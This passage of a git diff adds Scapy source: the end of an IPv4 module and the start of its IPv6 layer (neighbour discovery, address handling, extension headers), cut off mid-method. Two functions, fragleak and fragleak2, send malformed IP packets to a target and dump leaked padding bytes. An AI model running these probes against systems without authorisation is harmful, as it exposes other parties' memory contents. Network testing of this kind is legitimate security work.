+    classes += [t[1] for t in zip(idlst[:-1], idlst[1:]) if abs(t[0]-t[1]) > 50]
+    lst = [(funcID(x), funcpres(x)) for x in lst]
+    lst.sort()
+    print("Probably %i classes:" % len(classes), classes)
+    for id,pr in lst:
+        print("%5i" % id, pr)
+    
+    
+@conf.commands.register
+def fragleak(target,sport=123, dport=123, timeout=0.2, onlyasc=0):
+    load = "XXXXYYYYYYYYYY"
+#    getmacbyip(target)
+#    pkt = IP(dst=target, id=RandShort(), options=b"\x22"*40)/UDP()/load
+    pkt = IP(dst=target, id=RandShort(), options=b"\x00"*40, flags=1)/UDP(sport=sport, dport=sport)/load
+    s=conf.L3socket()
+    intr=0
+    found={}
+    try:
+        while True:
+            try:
+                if not intr:
+                    s.send(pkt)
+                sin,sout,serr = select([s],[],[],timeout)
+                if not sin:
+                    continue
+                ans=s.recv(1600)
+                if not isinstance(ans, IP): #TODO: IPv6
+                    continue
+                if not isinstance(ans.payload, ICMP):
+                    continue
+                if not isinstance(ans.payload.payload, IPerror):
+                    continue
+                if ans.payload.payload.dst != target:
+                    continue
+                if ans.src  != target:
+                    print("leak from", ans.src, end=' ')
+
+
+#                print repr(ans)
+                if not ans.haslayer(conf.padding_layer):
+                    continue
+
+                
+#                print repr(ans.payload.payload.payload.payload)
+                
+#                if not isinstance(ans.payload.payload.payload.payload, conf.raw_layer):
+#                    continue
+#                leak = ans.payload.payload.payload.payload.load[len(load):]
+                leak = ans.getlayer(conf.padding_layer).load
+                if leak not in found:
+                    found[leak]=None
+                    linehexdump(leak, onlyasc=onlyasc)
+            except KeyboardInterrupt:
+                if intr:
+                    raise
+                intr=1
+    except KeyboardInterrupt:
+        pass
+
+
+@conf.commands.register
+def fragleak2(target, timeout=0.4, onlyasc=0):
+    found={}
+    try:
+        while True:
+            p = sr1(IP(dst=target, options=b"\x00"*40, proto=200)/"XXXXYYYYYYYYYYYY",timeout=timeout,verbose=0)
+            if not p:
+                continue
+            if conf.padding_layer in p:
+                leak  = p[conf.padding_layer].load
+                if leak not in found:
+                    found[leak]=None
+                    linehexdump(leak,onlyasc=onlyasc)
+    except:
+        pass
+    
+
+conf.stats_classic_protocols += [TCP,UDP,ICMP]
+conf.stats_dot11_protocols += [TCP,UDP,ICMP]
+
+if conf.ipv6_enabled:
+    import scapy.layers.inet6
diff --git a/scapy/layers/inet6.py b/scapy/layers/inet6.py
new file mode 100644
index 0000000..87e5746
--- /dev/null
+++ b/scapy/layers/inet6.py
@@ -0,0 +1,3929 @@
+#! /usr/bin/env python
+#############################################################################
+##                                                                         ##
+## inet6.py --- IPv6 support for Scapy                                     ##
+##              see http://natisbad.org/IPv6/                              ##
+##              for more informations                                      ##
+##                                                                         ##
+## Copyright (C) 2005  Guillaume Valadon <guedou@hongo.wide.ad.jp>         ##
+##                     Arnaud Ebalard <arnaud.ebalard@eads.net>            ##
+##                                                                         ##
+## This program is free software; you can redistribute it and/or modify it ##
+## under the terms of the GNU General Public License version 2 as          ##
+## published by the Free Software Foundation.                              ##
+##                                                                         ##
+## This program is distributed in the hope that it will be useful, but     ##
+## WITHOUT ANY WARRANTY; without even the implied warranty of              ##
+## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU       ##
+## General Public License for more details.                                ##
+##                                                                         ##
+#############################################################################
+
+"""
+IPv6 (Internet Protocol v6).
+"""
+
+
+from __future__ import absolute_import
+from __future__ import print_function
+
+from hashlib import md5
+import random
+import re
+import socket
+import struct
+from time import gmtime, strftime
+
+import scapy.modules.six as six
+from scapy.modules.six.moves import range, zip
+if not socket.has_ipv6:
+    raise socket.error("can't use AF_INET6, IPv6 is disabled")
+if not hasattr(socket, "IPPROTO_IPV6"):
+    # Workaround for http://bugs.python.org/issue6926
+    socket.IPPROTO_IPV6 = 41
+if not hasattr(socket, "IPPROTO_IPIP"):
+    # Workaround for https://bitbucket.org/secdev/scapy/issue/5119
+    socket.IPPROTO_IPIP = 4
+
+from scapy.arch import get_if_hwaddr
+from scapy.config import conf
+from scapy.base_classes import Gen
+from scapy.data import DLT_IPV6, DLT_RAW, DLT_RAW_ALT, ETHER_ANY, ETH_P_IPV6, \
+    MTU
+from scapy.compat import chb, orb, raw, plain_str
+import scapy.consts
+from scapy.fields import BitEnumField, BitField, ByteEnumField, ByteField, \
+    DestField, Field, FieldLenField, FlagsField, IntField, LongField, \
+    MACField, PacketLenField, PacketListField, ShortEnumField, ShortField, \
+    StrField, StrFixedLenField, StrLenField, X3BytesField, XBitField, \
+    XIntField, XShortField
+from scapy.packet import bind_layers, Packet, Raw
+from scapy.volatile import RandInt, RandIP6, RandShort
+from scapy.sendrecv import sendp, sniff, sr, srp1
+from scapy.as_resolvers import AS_resolver_riswhois
+from scapy.supersocket import SuperSocket, L3RawSocket
+from scapy.utils6 import in6_6to4ExtractAddr, in6_and, in6_cidr2mask, \
+    in6_getnsma, in6_getnsmac, in6_isaddr6to4, in6_isaddrllallnodes, \
+    in6_isaddrllallservers, in6_isaddrTeredo, in6_isllsnmaddr, in6_ismaddr, \
+    in6_ptop, teredoAddrExtractInfo
+from scapy.layers.l2 import CookedLinux, Ether, GRE, Loopback, SNAP
+from scapy.layers.inet import IP, IPTools, TCP, TCPerror, TracerouteResult, \
+    UDP, UDPerror
+from scapy.utils import checksum, inet_pton, inet_ntop, strxor
+from scapy.error import warning
+if conf.route6 is None:
+    # unused import, only to initialize conf.route6
+    import scapy.route6
+
+
+#############################################################################
+# Helpers                                                                  ##
+#############################################################################
+
+def get_cls(name, fallback_cls):
+    return globals().get(name, fallback_cls)
+
+
+##########################
+## Neighbor cache stuff ##
+##########################
+
+conf.netcache.new_cache("in6_neighbor", 120)
+
+@conf.commands.register
+def neighsol(addr, src, iface, timeout=1, chainCC=0):
+    """Sends an ICMPv6 Neighbor Solicitation message to get the MAC address of the neighbor with specified IPv6 address addr
+
+    'src' address is used as source of the message. Message is sent on iface.
+    By default, timeout waiting for an answer is 1 second.
+
+    If no answer is gathered, None is returned. Else, the answer is
+    returned (ethernet frame).
+    """
+
+    nsma = in6_getnsma(inet_pton(socket.AF_INET6, addr))
+    d = inet_ntop(socket.AF_INET6, nsma)
+    dm = in6_getnsmac(nsma)
+    p = Ether(dst=dm)/IPv6(dst=d, src=src, hlim=255)
+    p /= ICMPv6ND_NS(tgt=addr)
+    p /= ICMPv6NDOptSrcLLAddr(lladdr=get_if_hwaddr(iface))
+    res = srp1(p,type=ETH_P_IPV6, iface=iface, timeout=1, verbose=0,
+               chainCC=chainCC)
+
+    return res
+
+@conf.commands.register
+def getmacbyip6(ip6, chainCC=0):
+    """Returns the MAC address corresponding to an IPv6 address
+
+    neighborCache.get() method is used on instantiated neighbor cache.
+    Resolution mechanism is described in associated doc string.
+
+    (chainCC parameter value ends up being passed to sending function
+     used to perform the resolution, if needed)
+    """
+    
+    if isinstance(ip6, Net6):
+        ip6 = str(ip6)
+
+    if in6_ismaddr(ip6): # Multicast
+        mac = in6_getnsmac(inet_pton(socket.AF_INET6, ip6))
+        return mac
+
+    iff,a,nh = conf.route6.route(ip6)
+
+    if iff == scapy.consts.LOOPBACK_INTERFACE:
+        return "ff:ff:ff:ff:ff:ff"
+
+    if nh != '::':
+        ip6 = nh # Found next hop
+
+    mac = conf.netcache.in6_neighbor.get(ip6)
+    if mac:
+        return mac
+
+    res = neighsol(ip6, a, iff, chainCC=chainCC)
+
+    if res is not None:
+        if ICMPv6NDOptDstLLAddr in res:
+            mac = res[ICMPv6NDOptDstLLAddr].lladdr
+        else:
+            mac = res.src
+        conf.netcache.in6_neighbor[ip6] = mac
+        return mac
+
+    return None
+
+
+#############################################################################
+#############################################################################
+###              IPv6 addresses manipulation routines                     ###
+#############################################################################
+#############################################################################
+
+class Net6(Gen): # syntax ex. fec0::/126
+    """Generate a list of IPv6s from a network address or a name"""
+    name = "ipv6"
+    ip_regex = re.compile(r"^([a-fA-F0-9:]+)(/[1]?[0-3]?[0-9])?$")
+
+    def __init__(self, net):
+        self.repr = net
+
+        tmp = net.split('/')+["128"]
+        if not self.ip_regex.match(net):
+            tmp[0]=socket.getaddrinfo(tmp[0], None, socket.AF_INET6)[0][-1][0]
+
+        netmask = int(tmp[1])
+        self.net = inet_pton(socket.AF_INET6, tmp[0])
+        self.mask = in6_cidr2mask(netmask)
+        self.plen = netmask
+
+    def __iter__(self):
+
+        def parse_digit(value, netmask):
+            netmask = min(8, max(netmask, 0))
+            value = int(value)
+            return (value & (0xff << netmask),
+                    (value | (0xff >> (8 - netmask))) + 1)
+
+        self.parsed = [
+            parse_digit(x, y) for x, y in zip(
+                struct.unpack("16B", in6_and(self.net, self.mask)),
+                (x - self.plen for x in range(8, 129, 8)),
+            )
+        ]
+
+        def rec(n, l):
+            sep = ':' if n and  n % 2 == 0 else ''
+            if n == 16:
+                return l
+            return rec(n + 1, [y + sep + '%.2x' % i
+                               # faster than '%s%s%.2x' % (y, sep, i)
+                               for i in range(*self.parsed[n])
+                               for y in l])
+
+        return iter(rec(0, ['']))
+
+    def __str__(self):
+        try:
+            return next(self.__iter__())
+        except StopIteration:
+            return None
+
+    def __eq__(self, other):
+        return str(other) == str(self)
+
+    def __ne__(self, other):
+        return str(other) != str(self)
+
+    def __repr__(self):
+        return "Net6(%r)" % self.repr
+
+
+
+
+
+
+#############################################################################
+#############################################################################
+###                              IPv6 Class                               ###
+#############################################################################
+#############################################################################
+
+class IP6Field(Field):
+    def __init__(self, name, default):
+        Field.__init__(self, name, default, "16s")
+    def h2i(self, pkt, x):
+        if isinstance(x, str):
+            try:
+                x = in6_ptop(x)
+            except socket.error:
+                x = Net6(x)
+        elif isinstance(x, list):
+            x = [Net6(a) for a in x]
+        return x
+    def i2m(self, pkt, x):
+        return inet_pton(socket.AF_INET6, plain_str(x))
+    def m2i(self, pkt, x):
+        return inet_ntop(socket.AF_INET6, x)
+    def any2i(self, pkt, x):
+        return self.h2i(pkt,x)
+    def i2repr(self, pkt, x):
+        if x is None:
+            return self.i2h(pkt,x)
+        elif not isinstance(x, Net6) and not isinstance(x, list):
+            if in6_isaddrTeredo(x):   # print Teredo info
+                server, _, maddr, mport = teredoAddrExtractInfo(x)
+                return "%s [Teredo srv: %s cli: %s:%s]" % (self.i2h(pkt, x), server, maddr,mport)
+            elif in6_isaddr6to4(x):   # print encapsulated address
+                vaddr = in6_6to4ExtractAddr(x)
+                return "%s [6to4 GW: %s]" % (self.i2h(pkt, x), vaddr)
+        return self.i2h(pkt, x)       # No specific information to return
+    def randval(self):
+        return RandIP6()
+
+class SourceIP6Field(IP6Field):
+    __slots__ = ["dstname"]
+    def __init__(self, name, dstname):
+        IP6Field.__init__(self, name, None)
+        self.dstname = dstname
+    def i2m(self, pkt, x):
+        if x is None:
+            dst=getattr(pkt,self.dstname)
+            iff,x,nh = conf.route6.route(dst)
+        return IP6Field.i2m(self, pkt, x)
+    def i2h(self, pkt, x):
+        if x is None:
+            if conf.route6 is None:
+                # unused import, only to initialize conf.route6
+                import scapy.route6
+            dst = ("::" if self.dstname is None else getattr(pkt, self.dstname))
+            if isinstance(dst, (Gen, list)):
+                r = {conf.route6.route(daddr) for daddr in dst}
+                if len(r) > 1:
+                    warning("More than one possible route for %r" % (dst,))
+                x = min(r)[1]
+            else:
+                x = conf.route6.route(dst)[1]
+        return IP6Field.i2h(self, pkt, x)
+
+class DestIP6Field(IP6Field, DestField):
+    bindings = {}
+    def __init__(self, name, default):
+        IP6Field.__init__(self, name, None)
+        DestField.__init__(self, name, default)
+    def i2m(self, pkt, x):
+        if x is None:
+            x = self.dst_from_pkt(pkt)
+        return IP6Field.i2m(self, pkt, x)
+    def i2h(self, pkt, x):
+        if x is None:
+            x = self.dst_from_pkt(pkt)
+        return IP6Field.i2h(self, pkt, x)
+
+ipv6nh = { 0:"Hop-by-Hop Option Header",
+           4:"IP",
+           6:"TCP",
+          17:"UDP",
+          41:"IPv6",
+          43:"Routing Header",
+          44:"Fragment Header",
+          47:"GRE",
+          50:"ESP Header",
+          51:"AH Header",
+          58:"ICMPv6",
+          59:"No Next Header",
+          60:"Destination Option Header",
+         112:"VRRP",
+         132:"SCTP",
+         135:"Mobility Header"}
+
+ipv6nhcls = {  0: "IPv6ExtHdrHopByHop",
+               4: "IP",
+               6: "TCP",
+               17: "UDP",
+               43: "IPv6ExtHdrRouting",
+               44: "IPv6ExtHdrFragment",
+              #50: "IPv6ExtHrESP",
+              #51: "IPv6ExtHdrAH",
+               58: "ICMPv6Unknown",
+               59: "Raw",
+               60: "IPv6ExtHdrDestOpt" }
+
+class IP6ListField(StrField):
+    __slots__ = ["count_from", "length_from"]
+    islist = 1
+    def __init__(self, name, default, count_from=None, length_from=None):
+        if default is None:
+            default = []
+        StrField.__init__(self, name, default)
+        self.count_from = count_from
+        self.length_from = length_from
+
+    def i2len(self, pkt, i):
+        return 16*len(i)
+
+    def i2count(self, pkt, i):
+        if isinstance(i, list):
+            return len(i)
+        return 0
+
+    def getfield(self, pkt, s):
+        c = l = None
+        if self.length_from is not None:
+            l = self.length_from(pkt)
+        elif self.count_from is not None:
+            c = self.count_from(pkt)
+
+        lst = []
+        ret = b""
+        remain = s
+        if l is not None:
+            remain,ret = s[:l],s[l:]
+        while remain:
+            if c is not None:
+                if c <= 0:
+                    break
+                c -= 1
+            addr = inet_ntop(socket.AF_INET6, remain[:16])
+            lst.append(addr)
+            remain = remain[16:]
+        return remain+ret,lst
+
+    def i2m(self, pkt, x):
+        s = b""
+        for y in x:
+            try:
+                y = inet_pton(socket.AF_INET6, y)
+            except:
+                y = socket.getaddrinfo(y, None, socket.AF_INET6)[0][-1][0]
+                y = inet_pton(socket.AF_INET6, y)
+            s += y
+        return s
+
+    def i2repr(self,pkt,x):
+        s = []
+        if x == None:
+            return "[]"
+        for y in x:
+            s.append('%s' % y)
+        return "[ %s ]" % (", ".join(s))
+
+class _IPv6GuessPayload:
+    name = "Dummy class that implements guess_payload_class() for IPv6"
+    def default_payload_class(self,p):
+        if self.nh == 58: # ICMPv6
+            t = orb(p[0])
+            if len(p) > 2 and (t == 139 or t == 140): # Node Info Query
+                return _niquery_guesser(p)
+            if len(p) >= icmp6typesminhdrlen.get(t, float("inf")): # Other ICMPv6 messages
+                return get_cls(icmp6typescls.get(t,"Raw"), "Raw")
+            return Raw
+        elif self.nh == 135 and len(p) > 3: # Mobile IPv6
+            return _mip6_mhtype2cls.get(orb(p[2]), MIP6MH_Generic)
+        elif self.nh == 43 and orb(p[2]) == 4:  # Segment Routing header
+            return IPv6ExtHdrSegmentRouting
+        return get_cls(ipv6nhcls.get(self.nh, "Raw"), "Raw")
+
+class IPv6(_IPv6GuessPayload, Packet, IPTools):
+    name = "IPv6"
+    fields_desc = [ BitField("version" , 6 , 4),
+                    BitField("tc", 0, 8), #TODO: IPv6, ByteField ?
+                    BitField("fl", 0, 20),
+                    ShortField("plen", None),
+                    ByteEnumField("nh", 59, ipv6nh),
+                    ByteField("hlim", 64),
+                    SourceIP6Field("src", "dst"), # dst is for src @ selection
+                    DestIP6Field("dst", "::1") ]
+
+    def route(self):
+        dst = self.dst
+        if isinstance(dst,Gen):
+            dst = next(iter(dst))
+        return conf.route6.route(dst)
+
+    def mysummary(self):
+        return "%s > %s (%i)" % (self.src, self.dst, self.nh)
+
+    def post_build(self, p, pay):
+        p += pay
+        if self.plen is None:
+            l = len(p) - 40
+            p = p[:4]+struct.pack("!H", l)+p[6:]
+        return p
+
+    def extract_padding(self, s):
+        l = self.plen
+        return s[:l], s[l:]
+
+    def hashret(self):
+        if self.nh == 58 and isinstance(self.payload, _ICMPv6):
+            if self.payload.type < 128:
+                return self.payload.payload.hashret()
+            elif (self.payload.type in [133,134,135,136,144,145]):
+                return struct.pack("B", self.nh)+self.payload.hashret()
+
+        if not conf.checkIPinIP and self.nh in [4, 41]:  # IP, IPv6
+            return self.payload.hashret()
+
+        nh = self.nh
+        sd = self.dst
+        ss = self.src
+        if self.nh == 43 and isinstance(self.payload, IPv6ExtHdrRouting):
+            # With routing header, the destination is the last
+            # address of the IPv6 list if segleft > 0
+            nh = self.payload.nh
+            try:
+                sd = self.addresses[-1]
+            except IndexError:
+                sd = '::1'
+            # TODO: big bug with ICMPv6 error messages as the destination of IPerror6
+            #       could be anything from the original list ...
+            if 1:
+                sd = inet_pton(socket.AF_INET6, sd)
+                for a in self.addresses:
+                    a = inet_pton(socket.AF_INET6, a)
+                    sd = strxor(sd, a)
+                sd = inet_ntop(socket.AF_INET6, sd)
+
+        if self.nh == 43 and isinstance(self.payload, IPv6ExtHdrSegmentRouting):
+            # With segment routing header (rh == 4), the destination is
+            # the first address of the IPv6 addresses list
+            try:
+                sd = self.addresses[0]
+            except IndexError:
+                sd = self.dst
+
+        if self.nh == 44 and isinstance(self.payload, IPv6ExtHdrFragment):
+            nh = self.payload.nh
+
+        if self.nh == 0 and isinstance(self.payload, IPv6ExtHdrHopByHop):
+            nh = self.payload.nh
+
+        if self.nh == 60 and isinstance(self.payload, IPv6ExtHdrDestOpt):
+            foundhao = None
+            for o in self.payload.options:
+                if isinstance(o, HAO):
+                    foundhao = o
+            if foundhao:
+                nh = self.payload.nh # XXX what if another extension follows ?
+                ss = foundhao.hoa
+
+        if conf.checkIPsrc and conf.checkIPaddr and not in6_ismaddr(sd):
+            sd = inet_pton(socket.AF_INET6, sd)
+            ss = inet_pton(socket.AF_INET6, self.src)
+            return strxor(sd, ss) + struct.pack("B", nh) + self.payload.hashret()
+        else:
+            return struct.pack("B", nh)+self.payload.hashret()
+
+    def answers(self, other):
+        if not conf.checkIPinIP:  # skip IP in IP and IPv6 in IP
+            if self.nh in [4, 41]:
+                return self.payload.answers(other)
+            if isinstance(other, IPv6) and other.nh in [4, 41]:
+                return self.answers(other.payload)
+            if isinstance(other, IP) and other.proto in [4, 41]:
+                return self.answers(other.payload)
+        if not isinstance(other, IPv6): # self is reply, other is request
+            return False
+        if conf.checkIPaddr:
+            # ss = inet_pton(socket.AF_INET6, self.src)
+            sd = inet_pton(socket.AF_INET6, self.dst)
+            os = inet_pton(socket.AF_INET6, other.src)
+            od = inet_pton(socket.AF_INET6, other.dst)
+            # request was sent to a multicast address (other.dst)
+            # Check reply destination addr matches request source addr (i.e
+            # sd == os) except when reply is multicasted too
+            # XXX test mcast scope matching ?
+            if in6_ismaddr(other.dst):
+                if in6_ismaddr(self.dst):
+                    if ((od == sd) or
+                        (in6_isaddrllallnodes(self.dst) and in6_isaddrllallservers(other.dst))):
+                         return self.payload.answers(other.payload)
+                    return False
+                if (os == sd):
+                    return self.payload.answers(other.payload)
+                return False
+            elif (sd != os): # or ss != od): <- removed for ICMP errors
+                return False
+        if self.nh == 58 and isinstance(self.payload, _ICMPv6) and self.payload.type < 128:
+            # ICMPv6 Error message -> generated by IPv6 packet
+            # Note : at the moment, we jump the ICMPv6 specific class
+            # to call answers() method of erroneous packet (over
+            # initial packet). There can be cases where an ICMPv6 error
+            # class could implement a specific answers method that perform
+            # a specific task. Currently, don't see any use ...
+            return self.payload.payload.answers(other)
+        elif other.nh == 0 and isinstance(other.payload, IPv6ExtHdrHopByHop):
+            return self.payload.answers(other.payload.payload)
+        elif other.nh == 44 and isinstance(other.payload, IPv6ExtHdrFragment):
+            return self.payload.answers(other.payload.payload)
+        elif other.nh == 43 and isinstance(other.payload, IPv6ExtHdrRouting):
+            return self.payload.answers(other.payload.payload) # Buggy if self.payload is a IPv6ExtHdrRouting
+        elif other.nh == 43 and isinstance(other.payload, IPv6ExtHdrSegmentRouting):
+            return self.payload.answers(other.payload.payload)  # Buggy if self.payload is a IPv6ExtHdrRouting
+        elif other.nh == 60 and isinstance(other.payload, IPv6ExtHdrDestOpt):
+            return self.payload.payload.answers(other.payload.payload)
+        elif self.nh == 60 and isinstance(self.payload, IPv6ExtHdrDestOpt): # BU in reply to BRR, for instance
+            return self.payload.payload.answers(other.payload)
+        else:
+            if (self.nh != other.nh):
+                return False
+            return self.payload.answers(other.payload)
+
+
+class _IPv46(IP):
+    """
+    This class implements a dispatcher that is used to detect the IP version
+    while parsing Raw IP pcap files.
+    """
+    @classmethod
+    def dispatch_hook(cls, _pkt=None, *_, **kargs):
+        if _pkt:
+            if orb(_pkt[0]) >> 4 == 6:
+                return IPv6
+        elif kargs.get("version") == 6:
+            return IPv6
+        return IP
+
+
+def inet6_register_l3(l2, l3):
+    return getmacbyip6(l3.dst)
+conf.neighbor.register_l3(Ether, IPv6, inet6_register_l3)
+
+
+class IPerror6(IPv6):
+    name = "IPv6 in ICMPv6"
+    def answers(self, other):
+        if not isinstance(other, IPv6):
+            return False
+        sd = inet_pton(socket.AF_INET6, self.dst)
+        ss = inet_pton(socket.AF_INET6, self.src)
+        od = inet_pton(socket.AF_INET6, other.dst)
+        os = inet_pton(socket.AF_INET6, other.src)
+
+        # Make sure that the ICMPv6 error is related to the packet scapy sent
+        if isinstance(self.underlayer, _ICMPv6) and self.underlayer.type < 128:
+
+            # find upper layer for self (possible citation)
+            selfup = self.payload
+            while selfup is not None and isinstance(selfup, _IPv6ExtHdr):
+                selfup = selfup.payload
+
+            # find upper layer for other (initial packet). Also look for RH
+            otherup = other.payload
+            request_has_rh = False
+            while otherup is not None and isinstance(otherup, _IPv6ExtHdr):
+                if isinstance(otherup, IPv6ExtHdrRouting):
+                    request_has_rh = True
+                otherup = otherup.payload
+
+            if ((ss == os and sd == od) or      # <- Basic case
+                (ss == os and request_has_rh)): # <- Request has a RH :
+                                                #    don't check dst address
+
+                # Let's deal with possible MSS Clamping
+                if (isinstance(selfup, TCP) and
+                    isinstance(otherup, TCP) and
+                    selfup.options != otherup.options): # seems clamped
+
+                    # Save fields modified by MSS clamping
+                    old_otherup_opts    = otherup.options
+                    old_otherup_cksum   = otherup.chksum
+                    old_otherup_dataofs = otherup.dataofs
+                    old_selfup_opts     = selfup.options
+                    old_selfup_cksum    = selfup.chksum
+                    old_selfup_dataofs  = selfup.dataofs
+
+                    # Nullify them
+                    otherup.options = []
+                    otherup.chksum  = 0
+                    otherup.dataofs = 0
+                    selfup.options  = []
+                    selfup.chksum   = 0
+                    selfup.dataofs  = 0
+
+                    # Test it and save result
+                    s1 = raw(selfup)
+                    s2 = raw(otherup)
+                    l = min(len(s1), len(s2))
+                    res = s1[:l] == s2[:l]
+
+                    # recall saved values
+                    otherup.options = old_otherup_opts
+                    otherup.chksum  = old_otherup_cksum
+                    otherup.dataofs = old_otherup_dataofs
+                    selfup.options  = old_selfup_opts
+                    selfup.chksum   = old_selfup_cksum
+                    selfup.dataofs  = old_selfup_dataofs
+
+                    return res
+
+                s1 = raw(selfup)
+                s2 = raw(otherup)
+                l = min(len(s1), len(s2))
+                return s1[:l] == s2[:l]
+
+        return False
+
+    def mysummary(self):
+        return Packet.mysummary(self)
+
+
+#############################################################################
+#############################################################################
+###                 Upper Layer Checksum computation                      ###
+#############################################################################
+#############################################################################
+
+class PseudoIPv6(Packet): # IPv6 Pseudo-header for checksum computation
+    name = "Pseudo IPv6 Header"
+    fields_desc = [ IP6Field("src", "::"),
+                    IP6Field("dst", "::"),
+                    ShortField("uplen", None),
+                    BitField("zero", 0, 24),
+                    ByteField("nh", 0) ]
+
+def in6_chksum(nh, u, p):
+    """
+    As Specified in RFC 2460 - 8.1 Upper-Layer Checksums
+
+    Performs IPv6 Upper Layer checksum computation. Provided parameters are:
+    - 'nh' : value of upper layer protocol
+    - 'u'  : upper layer instance (TCP, UDP, ICMPv6*, ). Instance must be
+             provided with all under layers (IPv6 and all extension headers,
+             for example)
+    - 'p'  : the payload of the upper layer provided as a string
+
+    Functions operate by filling a pseudo header class instance (PseudoIPv6)
+    with
+    - Next Header value
+    - the address of _final_ destination (if some Routing Header with non
+    segleft field is present in underlayer classes, last address is used.)
+    - the address of _real_ source (basically the source address of an
+    IPv6 class instance available in the underlayer or the source address
+    in HAO option if some Destination Option header found in underlayer
+    includes this option).
+    - the length is the length of provided payload string ('p')
+    """
+
+    ph6 = PseudoIPv6()
+    ph6.nh = nh
+    rthdr = 0
+    hahdr = 0
+    final_dest_addr_found = 0
+    while u != None and not isinstance(u, IPv6):
+        if (isinstance(u, IPv6ExtHdrRouting) and
+            u.segleft != 0 and len(u.addresses) != 0 and
+            final_dest_addr_found == 0):
+            rthdr = u.addresses[-1]
+            final_dest_addr_found = 1
+        elif (isinstance(u, IPv6ExtHdrSegmentRouting) and
+            u.segleft != 0 and len(u.addresses) != 0 and
+            final_dest_addr_found == 0):
+            rthdr = u.addresses[0]
+            final_dest_addr_found = 1
+        elif (isinstance(u, IPv6ExtHdrDestOpt) and (len(u.options) == 1) and
+             isinstance(u.options[0], HAO)):
+             hahdr  = u.options[0].hoa
+        u = u.underlayer
+    if u is None:
+        warning("No IPv6 underlayer to compute checksum. Leaving null.")
+        return 0
+    if hahdr:
+        ph6.src = hahdr
+    else:
+        ph6.src = u.src
+    if rthdr:
+        ph6.dst = rthdr
+    else:
+        ph6.dst = u.dst
+    ph6.uplen = len(p)
+    ph6s = raw(ph6)
+    return checksum(ph6s+p)
+
+
+#############################################################################
+#############################################################################
+###                         Extension Headers                             ###
+#############################################################################
+#############################################################################
+
+
+# Inherited by all extension header classes
+class _IPv6ExtHdr(_IPv6GuessPayload, Packet):
+    name = 'Abstract IPV6 Option Header'
+    aliastypes = [IPv6, IPerror6] # TODO ...
+
+
+#################### IPv6 options for Extension Headers #####################
+
+_hbhopts = { 0x00: "Pad1",
+             0x01: "PadN",
+             0x04: "Tunnel Encapsulation Limit",
+             0x05: "Router Alert",
+             0x06: "Quick-Start",
+             0xc2: "Jumbo Payload",
+             0xc9: "Home Address Option" }
+
+class _OTypeField(ByteEnumField):
+    """
+    Modified BytEnumField that displays information regarding the IPv6 option
+    based on its option type value (What should be done by nodes that process
+    the option if they do not understand it ...)
+
+    It is used by Jumbo, Pad1, PadN, RouterAlert, HAO options
+    """
+    pol = {0x00: "00: skip",
+           0x40: "01: discard",
+           0x80: "10: discard+ICMP",
+           0xC0: "11: discard+ICMP not mcast"}
+
+    enroutechange = {0x00: "0: Don't change en-route",
+                 0x20: "1: May change en-route" }
+
+    def i2repr(self, pkt, x):
+        s = self.i2s.get(x, repr(x))
+        polstr = self.pol[(x & 0xC0)]
+        enroutechangestr = self.enroutechange[(x & 0x20)]
+        return "%s [%s, %s]" % (s, polstr, enroutechangestr)
+
+class HBHOptUnknown(Packet): # IPv6 Hop-By-Hop Option
+    name = "Scapy6 Unknown Option"
+    fields_desc = [_OTypeField("otype", 0x01, _hbhopts),
+                   FieldLenField("optlen", None, length_of="optdata", fmt="B"),
+                   StrLenField("optdata", "",
+                               length_from = lambda pkt: pkt.optlen) ]
+    def alignment_delta(self, curpos): # By default, no alignment requirement
+        """
+        As specified in section 4.2 of RFC 2460, every options has
+        an alignment requirement ususally expressed xn+y, meaning
+        the Option Type must appear at an integer multiple of x octest
+        from the start of the header, plus y octet.
+
+        That function is provided the current position from the
+        start of the header and returns required padding length.
+        """
+        return 0
+
+class Pad1(Packet): # IPv6 Hop-By-Hop Option
+    name = "Pad1"
+    fields_desc = [ _OTypeField("otype", 0x00, _hbhopts) ]
+    def alignment_delta(self, curpos): # No alignment requirement
+        return 0
+
+class PadN(Packet): # IPv6 Hop-By-Hop Option
+    name = "PadN"
+    fields_desc = [_OTypeField("otype", 0x01, _hbhopts),
+                   FieldLenField("optlen", None, length_of="optdata", fmt="B"),
+                   StrLenField("optdata", "",
+                               length_from = lambda pkt: pkt.optlen)]
+    def alignment_delta(self, curpos): # No alignment requirement
+        return 0
+
+class RouterAlert(Packet): # RFC 2711 - IPv6 Hop-By-Hop Option
+    name = "Router Alert"
+    fields_desc = [_OTypeField("otype", 0x05, _hbhopts),
+                   ByteField("optlen", 2),
+                   ShortEnumField("value", None,
+                                  { 0: "Datagram contains a MLD message",
+                                    1: "Datagram contains RSVP message",
+                                    2: "Datagram contains an Active Network message",
+                                   68: "NSIS NATFW NSLP",
+                                   69: "MPLS OAM",
+                                65535: "Reserved" })]
+    # TODO : Check IANA has not defined new values for value field of RouterAlertOption
+    # TODO : Now that we have that option, we should do something in MLD class that need it
+    # TODO : IANA has defined ranges of values which can't be easily represented here.
+    #        iana.org/assignments/ipv6-routeralert-values/ipv6-routeralert-values.xhtml
+    def alignment_delta(self, curpos): # alignment requirement : 2n+0
+        x = 2 ; y = 0
+        delta = x*((curpos - y + x - 1)//x) + y - curpos
+        return delta
+
+class Jumbo(Packet): # IPv6 Hop-By-Hop Option
+    name = "Jumbo Payload"
+    fields_desc = [_OTypeField("otype", 0xC2, _hbhopts),
+                   ByteField("optlen", 4),
+                   IntField("jumboplen", None) ]
+    def alignment_delta(self, curpos): # alignment requirement : 4n+2
+        x = 4 ; y = 2
+        delta = x*((curpos - y + x - 1)//x) + y - curpos
+        return delta
+
+class HAO(Packet): # IPv6 Destination Options Header Option
+    name = "Home Address Option"
+    fields_desc = [_OTypeField("otype", 0xC9, _hbhopts),
+                   ByteField("optlen", 16),
+                   IP6Field("hoa", "::") ]
+    def alignment_delta(self, curpos): # alignment requirement : 8n+6
+        x = 8 ; y = 6
+        delta = x*((curpos - y + x - 1)//x) + y - curpos
+        return delta
+
+_hbhoptcls = { 0x00: Pad1,
+               0x01: PadN,
+               0x05: RouterAlert,
+               0xC2: Jumbo,
+               0xC9: HAO }
+
+
+######################## Hop-by-Hop Extension Header ########################
+
+class _HopByHopOptionsField(PacketListField):
+    __slots__ = ["curpos"]
+    def __init__(self, name, default, cls, curpos, count_from=None, length_from=None):
+        self.curpos = curpos
+        PacketListField.__init__(self, name, default, cls, count_from=count_from, length_from=length_from)
+
+    def i2len(self, pkt, i):
+        l = len(self.i2m(pkt, i))
+        return l
+
+    def i2count(self, pkt, i):
+        if isinstance(i, list):
